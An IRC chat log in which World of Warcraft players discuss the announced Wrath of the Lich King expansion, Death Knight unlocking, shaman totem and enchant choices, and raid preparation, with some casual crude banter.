19:59.35wmfootball71a warrior
19:59.36kinkeriixsupposedly after doing some quest, you will activate th efeature to create a death knight as a new character
19:59.37Kasowhen you do the quest it unlocks the ability to start a new death knight char
19:59.38wmfootball71essentialy
19:59.39Frostx-veteran wow players (ie the people who will be playing DKs) can easily pick up a new class in a few days of playing
19:59.39kergothwait, warcraft has a story?
19:59.40kergoth:P
19:59.48Kasobut the new charater is max level
20:00.00Frostx-not max level
20:00.04Frostx-they said high level
20:00.10Kasohokay
20:00.12Frostx-probably 60-70 (they haven't decided)
20:00.16Frostx-and you'll have to play to 80 from there
20:00.20Traeodd
20:00.22kinkeriixpossibly 70, where you will have to quest in northrend again
20:00.35TraeI supposed you'd start with a flying mount
20:00.48kinkeriixyou wont be flying in northrend :)
20:00.49Frostx-if you are levelling a dk that means you already have an 80 char
20:00.59Traekinkeriix, no?
20:01.24Frostx-and are probably skilled enough to do the (high likely very very tedious / hard) quest line
20:01.27Frostx-for the DK
20:01.42Frostx-then you should be able to adapt to playing a dkp in the time it takes you to hit 80 on it
20:01.52Traeso everyone eventually rolls to become the same class
20:01.54Traehmmm
20:01.58TraeI can see whwere this is going
20:01.59Traeheh
20:02.01Frostx-well
20:02.02Frostx-not really
20:02.11Frostx-did all alliance reroll draenei shaman?
20:02.12Frostx-no
20:02.17Frostx-did all horde reroll be pally?
20:02.17Frostx-no
20:02.41kinkeriixpretty sure half of them rolled it to try it out.... before a large amount of them quit after finishing the "new" quest areas
20:02.48Frostx-im sure a good amount of wow players will HAVE a deathknight character
20:03.04Traeyeah I don't see the tie
20:03.04Frostx-but the amount that will actually use one in endgame won't be enormous
20:03.12Frostx-a fair and maybe large amount is possible
20:03.13Traeyou have one char and cause you get said char to a certain level
20:03.18Frostx-but i don't expect it to be overwhelming
20:03.18Traeit allows you to create another char?
20:03.24Traeheh
20:03.48TraeSo I have 2 70's I can roll 2 DK's?
20:03.52Traelol
20:04.04Frostx-80.
20:04.16kinkeriixyou wont have one the moment you ding 80
20:04.23Traeyou have to ding 80, THEN you can roll one
20:04.24kinkeriixit may be several weeks after
20:04.28Frostx-you'll have to do a quest with your 80 char im sure
20:04.29Karaiyou get 1 character to 80, do the quest chain, and you can then create deathknights on your account
20:04.30Traeinteresting
20:04.32Frostx-not just hit 80
20:04.41Frostx-it won't be that easy
20:04.49kinkeriixcorrection: death knights on that realm your character is on
20:04.52Traekinda like druid swift form quests
20:04.53Traeheh
20:05.02Frostx-and for some people
20:05.06Karaikink: point taken
20:05.11Frostx-they might feel reluctant to reroll after already levelling their main to 80
20:05.37Karaihttp://worldofwarcraft.com/wrath/
20:05.42Frostx-of course, i'm sure we all have guildmates with 999 level 70 alts, they'll definitely get a DK to 80 at least
20:05.43Karaiwatch the trailer
20:05.51Traewould be interesting if you can't get a flying mount in new area
20:06.06Frostx-i'd feel sad for my guildmate and his phoenix mount :<
20:06.16kinkeriixyou wont be able to fly there
20:06.17TraeFrostx-, heh, what guild are you in?
20:06.29Karaiwhere does the phoenix drop?
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20:06.39kinkeriixdrops off kael'thas
20:06.42Karaiaah
20:07.09Traemy best friends Nephew was the kid that Blizz did the Make a Wish thing for
20:08.16Traeanyhoo, it's WoW-30  xp time
20:08.19Traepeace love and xp
20:09.14Frostx-Trae: Elementium, Blackrock
20:11.00Karaifail
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20:12.09wu-nixThis is teh ultimate awesomeness!  http://worldofwarcraft.com/wrath/images/layout/noflash/frontpage_arthas.jpg
20:13.43Karaivagina
20:13.49Karaio.o
20:15.34Kalrothteehee, you said a naughty word
20:28.52facelessleader|glol flying dalaran in northrend -.-
20:32.37Infinity-Xi cant wait to see the model they use for arthas
20:32.47facelessleaderwatch trailer
20:32.49MalgayneYeah
20:32.53Infinity-Xit'll be as ridiculously awesome as illidan
20:32.54MalgayneWhere's the trailer at?
20:32.58Infinity-Xoh is tehre a trailer up?
20:33.18facelessleaderhttp://www.wow-europe.com/wrath/movies.xml
20:34.35MalgayneAwesome, thanks
20:34.42facelessleadernp :)
20:37.18Infinity-Xi came.
20:37.36Malgaynelol!
20:37.38Infinity-Xoops, this isn't 4chan
20:37.45Infinity-Xstatement stands, though
20:37.47Infinity-X>.>
20:37.55Infinity-Xi absolutely love those little movies they make
20:38.06Infinity-Xworld of warcraft is perfect for machinima
20:38.21Infinity-Xthe black temple one was amazing too
20:49.11facelessleadermy girlfriend is amazing, i see her once every 2or 3 weeks and everytime she complains bout my wow-love :/
20:49.59bahadirgive an account to her
20:50.09facelessleaderi've tried :(
20:50.23facelessleader"uh, these night-elfes are ugly"
20:50.30MalgayneBEs ftw!
20:51.11facelessleaderatm she's studing (hmm misspell?) medicine...
20:51.37facelessleaderso i have a lot time to play :D
20:51.49facelessleaderand make love to wow
20:51.50facelessleaderlol
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20:52.58bahadiri think i'll give up playing for a few months, have lots of work to do
20:53.25bahadirlinux distro development is a hard job
20:53.33facelessleadertrue
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21:07.09rayford|busyWe've been bustling over it for like 4 hours.  We're exhausted.
21:07.14reygahncilol
21:07.16reygahncii'm not surprised
21:07.43reygahnci(btw: are we using our logins for wowhead as a standard, or will any name do?)
21:07.55rayford|busyWe assign your name for you.
21:08.04reygahncio.O
21:08.17rayford|busyWhich class do you play?
21:08.23reygahncidruid/warlock
21:08.38rayford|busyFrom not on, you are "Nerfplx!"  K?
21:08.54reygahncilol...druids need nerfing? >_<
21:09.15rayford|busyNo.  But you play a Lock.  That more than makes up for it.  : P
21:09.28reygahncitrue...which is why I play him
21:09.45rayford|busyHahaha.
21:10.19reygahnciI'm at work...and honestly all I can think of is the new spells / talent trees
21:10.19rayford|busyHeh.  Same here.  : P
21:10.27reygahnciclass?
21:10.30rayford|busyAnd don't mind me.  I play an Enhancement Shammy.  I think everyone needs a nerf.  XP
21:10.36reygahncii see
21:10.37reygahncilol
21:10.54reygahnci(i have a level 56 one of those...don't figure I'll ever play him again >_<)
21:11.20rayford|busyI've also got a 70 Druid, though.  So we can talk about that.  : P
21:11.46reygahncihmmm...I'm going to go with numbers (and since you have an enhancement shammy) I'll assume you are feral
21:13.00rayford|busyYup.
21:13.19rayford|busyOk.  I've got a Mage, Hunter, and Warrior.  Can you guess their specs?  : P
21:13.38facelessleaderdmg, dmg, tank?
21:13.48reygahncimage is tough...pve = fire, pvp = ice, BM, MS
21:14.15rayford|busyWhich one for the Mage.  Gotta pick one.  : P
21:14.22reygahncii'ma go with ice
21:14.34rayford|busyEh.  Ya didn't do too bad.  Overall 3/5.
21:14.46rayford|busyMage is Fire, and the Warrior is Prot.
21:14.57reygahnci>_< PvE'd
21:16.30rayford|busyGoing back to the expansion, lemme give ya a tip.
21:16.50rayford|busyDon't mention Death Knight around Karai.
21:16.54reygahncii'm not going to
21:16.55reygahncilol
21:17.04reygahncii'm so non-concerned with the Death Knight
21:18.38rayford|busyAye.  I'm kinda interested in the Inscription profession.
21:18.46rayford|busyWill be cool to see just what you can do with that.
21:19.02reygahnciyeah, looks like it's going to be enchanting, but for your spells
21:19.08reygahnciprolly will pick that up on one of my toons
21:19.12rayford|busySame.
21:23.49reygahnciany thoughts concerning siege weapons + pvp?
21:27.01SroshIn regards to world pvp it'll be difficult to balance it.
21:27.33reygahncii would be surprised if siege units existed outside of a battleground's context
21:30.11SroshIt seems so, tho it'll be restrained to a specific zone. Blizz is apparently creating a whole outdoor zone dedicated to pvp.
21:42.43facelessleaderi want my fucking WF back in xpac :(
21:43.21reygahncii bet
21:43.22reygahncilol
21:43.46facelessleadernot the uber-ap WF but remove the cd...
21:46.58reygahnciyeah, the cooldown makes it kinda weak
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21:59.15rayford|busyStill our best weapon enchant.
21:59.46reygahnciarguably, WF mh + rockbiter OH is better
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22:00.26rayford|busyRockbiter in the OH gets its damage cut in half because its in the OH, doesn't it?
22:01.09facelessleaderatm i have slow HM with WF and fast OH with frostbite, works great
22:01.18facelessleaderstill looking for slow OH
22:01.49reygahnciit's been a while since I played the shamang...so I can only speculate with mild understanding
22:03.07rayford|busyAh.  Yeah, times have changed.  Rockbiter's damage doesn't scale with AP, so as a Shammy gets more AP, Rockbiter gets weaker and weaker when compared to WF.
22:03.25MalgayneRockbiter doesn't scale at all, does it?
22:03.38rayford|busyFaceless:  You raid with Mages that are Fire specced?
22:03.57facelessleaderif, then i use flametongue
22:04.06reygahnciyeah
22:04.11facelessleader;)
22:04.13reygahncisad
22:04.20reygahncii miss windfury being insane-good
22:04.29rayford|busyAh.  Okies.  : P
22:04.49rayford|busyDang.  And here I thought I was gonna be all high and wise.
22:04.51facelessleaderthis was cool... hope that it procc an everything will be allright
22:05.45reygahncidunno if there are any warlocks out there, but it's going to be pretty hard to beat a 33/38/0 spec...it would require some INSANE 51-point talents
22:06.38MalgayneIt's not the 51 point talents I think that will make the difference
22:06.39rayford|busyMal, I've got a question for ya.  Can you explain Norzo and wanting FT Totem and GoA?  One would assume that he'd want WF instead.
22:07.02MalgayneIt's the skills you get between 70 and 80
22:07.15MalgayneYou might get a skill that, if talented, totally replaces shadowbolt
22:07.19MalgayneAnd that would change everything
22:07.24reygahncitrue
22:07.54MalgayneI dont' know, Ray
22:07.57MalgayneYou'd have to ask him yourself
22:08.12rayford|busyKeep meaning to, and I keep forgetting.
22:08.38rayford|busyI'd assume that its because he uses daggers (I think).  But if thats the case, he needs to know that WF Totem doesn't have the 3 second cooldown.
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22:10.37MalgayneWelcome Devilstick.  :)
22:10.42MalgayneAnd Ray, I'm asking him
22:11.00rayford|busyOkies.
22:11.07rayford|busyHowdy Stick.
22:12.26MalgayneHis response:
22:12.32Malgayne"Grace of air means more crits"
22:12.40Malgayne"And most shamans don't drop their fire totem in instances"
22:13.21wu-nixbtw, anybody else has problems while browsing wowhead and on some pages you get the 'screensaver with fishes' ad and in Firefox it starts working slow and you can't really move from the page to another tab or smth if you dont scroll down so you don't see the ad
22:13.31wu-nixPretty annoying
22:13.42MalgayneHey nix, we're trying to pull that ad down
22:14.00rayford|busyTrue.  But usually I'll drop Searing Totem more often than not.  Especially since it doesn't break CC now.  If I drop WF Totem, though, it'll increase his DPS, along with helping the tanks generate more rage.
22:14.03MalgayneIt's hard to track down because it's flash so you can't just do "get image location"
22:14.57rayford|busyOf course, this is all moot, since we have Dette tanking this weekend.
22:15.17Malgayne"I didn't know Searing won't break CC"
22:15.44Malgayne"Also windfury procs are now yellow damage"
22:15.55rayford|busySo?
22:16.08Malgayne"meaning no rage"
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22:16.47rayford|busyAh.  Did not know that.
22:18.27Malgayne"well, it depends"
22:18.35rayford|busyIs he on AIM?
22:18.41Malgayne"Spell damage makes searing totem do more, but it doesn't help flametongue or windfury totems"
22:18.53Malgayne"and with talents, you can up your searing totem damage"
22:18.58Malgayne"If your searing totem is awesome, go for it"
22:19.25MalgayneAnd no, he's in game
22:19.59rayford|busyOh.  Pshaw.
22:21.07rayford|busyWell, this weekend we'll run a test.  I'll drop Searing and WF on some trash and see how his DPS is.  THen I'll drop FT and GoA on more trash, and compare.
22:25.15rayford|busyOh, and let him know that I'm happy with my crit rate.  If he's not, and wants it bigger, then thats his problem.  I'm not here to help him compensate.  : P
22:31.08MalgayneHe didn't respond.  :)
22:34.10rayford|busyHaha.
22:42.07MalgayneAlrighty, I have to head out
22:42.11MalgayneNeed to go build some furniture
22:42.47MalgayneSee y'all later!
22:42.55facelessleadercu
22:43.21rayford|busyBuild furniture?
22:43.28rayford|busyHe got his stuff from Ikea.  : P
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22:48.45DanascusHey everyone
22:50.37rayford|busyHeya Danas.
23:15.04reygahnciin case anyone cares, the 5v5 arena match between Log and Nashwan is going to be commencing soon http://www.giga.de/2/live/free/
23:15.31Viprimei doubt anyone cares ;p
23:15.39reygahncio.O
23:19.41KasoIm watching!
23:19.56Kasobut i would have prefered the R&D talk be shown :<
23:21.59reygahnciwell...hopefully we'll see a post on it somewhere later
23:22.08reygahnciI know worldofraids.com has a guy in the talk
23:28.55DanascusI'm curious, what do I need to do to get ready to raid at 70 (or before)?
23:29.41Kasoyou should get honored with as many of the instance factions as you can for heroic keys
23:29.44Kasoyou need attunements
23:29.49Kasoand you need gear
23:31.14reygahnciwas 'revered' the word you were looking for?
23:31.24Kasoyes
23:31.28Kasoi spelt it wrong!
23:31.30reygahnci;-)
23:31.42reygahncithat is an amazing misspelling
23:33.45rayford|busyWhat class do ya play again?
23:34.17reygahnciaddressing people is fun
23:34.36reygahncidruid/lock (in case you're talking to me)
23:36.08Adyshttp://elitistjerks.com/f15/t14808-what_lengths_have_you_gone_make_raid/
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